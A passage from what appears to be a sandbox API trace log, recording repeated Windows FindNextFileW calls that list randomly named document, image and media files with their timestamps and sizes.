ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb72e, dwReserved0=0x0, dwReserved1=0x0, cFileName="hzFXuXTiFAk.mp4", cAlternateFileName="")) returned 1 [0139.863] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x86a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HQARGMXmC2WYy.pdf", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x167a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="yusqqOM7hYB90.xlsx", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x112b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="I5MGz.gif", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa877, dwReserved0=0x0, dwReserved1=0x0, cFileName="rbURuD4ORn2Eem6rs.jpg", cAlternateFileName="")) returned 1 [0139.865] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7b24, dwReserved0=0x0, dwReserved1=0x0, cFileName="VTE95H0m59pDCT9UO1IX.docx", cAlternateFileName="")) returned 1 [0139.866] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x96af, dwReserved0=0x0, dwReserved1=0x0, cFileName="HYsyB74UdGWE4jIKpy9E.xlsx", cAlternateFileName="")) returned 1 [0139.866] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a81, dwReserved0=0x0, dwReserved1=0x0, cFileName="455kYjCp7KIYqdl.gif", cAlternateFileName="")) returned 1 [0139.866] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbf5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="F1p7Wn.swf", cAlternateFileName="")) returned 1 [0139.866] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9039, dwReserved0=0x0, dwReserved1=0x0, cFileName="SDdqr3L6NGsiR8gSS.png", cAlternateFileName="")) returned 1 [0139.867] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13821, dwReserved0=0x0, dwReserved1=0x0, cFileName="eDeo4.wav", cAlternateFileName="")) returned 1 [0139.867] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13fca, dwReserved0=0x0, dwReserved1=0x0, cFileName="EYzpuUkMw0nV.m4a", cAlternateFileName="")) returned 1 [0139.867] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x742f, dwReserved0=0x0, dwReserved1=0x0, cFileName="D91tIUAsFS.mkv", cAlternateFileName="")) returned 1 [0139.867] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1586e, dwReserved0=0x0, dwReserved1=0x0, cFileName="y4KxErTVQYWoCrSXjxG.odt", cAlternateFileName="")) returned 1 [0139.867] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449b0800, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x138c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="D3bOsFLtbMJgWgQv8Xrs.m4a", cAlternateFileName="")) returned 1 [0139.868] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc139, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBDptFA1xz7efpLkn.mp4", cAlternateFileName="")) returned 1 [0139.868] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xafe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="JmVSFmaxSYp.wav", cAlternateFileName="")) returned 1 [0139.868] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15403, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwFhNksqnjKFSaL.doc", cAlternateFileName="")) returned 1 [0139.870] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x18342, dwReserved0=0x0, dwReserved1=0x0, cFileName="hMbpJsxUxLqdU43X.rtf", cAlternateFileName="")) returned 1 [0139.870] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a6a0c5, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7967, dwReserved0=0x0, dwReserved1=0x0, cFileName="mUs3U.jpg", cAlternateFileName="")) returned 1 [0139.870] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1057a, dwReserved0=0x0, dwReserved1=0x0, cFileName="noIQIeDYAhP.m4a", cAlternateFileName="")) returned 1 [0139.870] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12170, dwReserved0=0x0, dwReserved1=0x0, cFileName="V7AkBxJ.rtf", cAlternateFileName="")) returned 1 [0139.870] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="nXMaDbExzV3GNxn.rtf", cAlternateFileName="")) returned 1 [0139.871] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="05sv4vlauTjO82QKoH.odp", cAlternateFileName="")) returned 1 [0139.871] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x178b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="e0Lune6IQDhr.swf", cAlternateFileName="")) returned 1 [0139.871] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xef2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UWPd5V722.jpg", cAlternateFileName="")) returned 1 [0139.871] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x112a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="3vXkT9bZW2wQG2nOsz.flv", cAlternateFileName="")) returned 1 [0139.872] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x173b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="rSvaTPcyuRZ.avi", cAlternateFileName="")) returned 1 [0139.873] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x52b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BEWCWMGvP7.odp", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xb7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERBbBrh6.mp3", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x968a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cYeVSPPEdjtBCAgcD.m4a", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf715, dwReserved0=0x0, dwReserved1=0x0, cFileName="t0dVU7jjqdjfnF7OmqO.png", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc295, dwReserved0=0x0, dwReserved1=0x0, cFileName="wPgITKWMM0.rtf", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x17dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DTakzSmlzvmIUv.mp3", cAlternateFileName="")) returned 1 [0139.874] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a42fc4, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x99c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="aYwQj9EW4jZuUePCOt1y.jpg", cAlternateFileName="")) returned 1 [0139.876] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="hzhCnO8TQqI.avi", cAlternateFileName="")) returned 1 [0139.876] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4496c23e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd6af, dwReserved0=0x0, dwReserved1=0x0, cFileName="0fyyBWfRWm61u1MhJ.doc", cAlternateFileName="")) returned 1 [0139.876] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="hExQispuuoymhG1i192v.ppt", cAlternateFileName="")) returned 1 [0139.876] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x100ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="VQa7D2fVvyShxsM.xlsx", cAlternateFileName="")) returned 1 [0139.877] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ccb21d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ccb21d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xcc9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nVlM8WgmSnZtiC.avi", cAlternateFileName="")) returned 1 [0139.877] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="6614ZQjKlVVwMsRoTm.pdf", cAlternateFileName="")) returned 1 [0139.877] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xf521, dwReserved0=0x0, dwReserved1=0x0, cFileName="d9y1S5e4eLHUosqR.png", cAlternateFileName="")) returned 1 [0139.877] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xee3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="sWz45.xls", cAlternateFileName="")) returned 1 [0139.878] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x9841, dwReserved0=0x0, dwReserved1=0x0, cFileName="ydAClD.jpg", cAlternateFileName="")) returned 1 [0139.878] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449d7901, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NLSuxvhNNdJma1.ods", cAlternateFileName="")) returned 1 [0139.879] FindNextFileW (in: hFindFile=0x871820, lpFindFileData=0x2f7f9b4 | out: lpFindFileData=0x2f7f9b4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cf2322, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a911c7, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cf2322, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x646c, dwReserved0=0x0, dwReserved1=0x0, cFileName="z3wsaUYVG.ppt", cAlternateFileName="")) returned 1 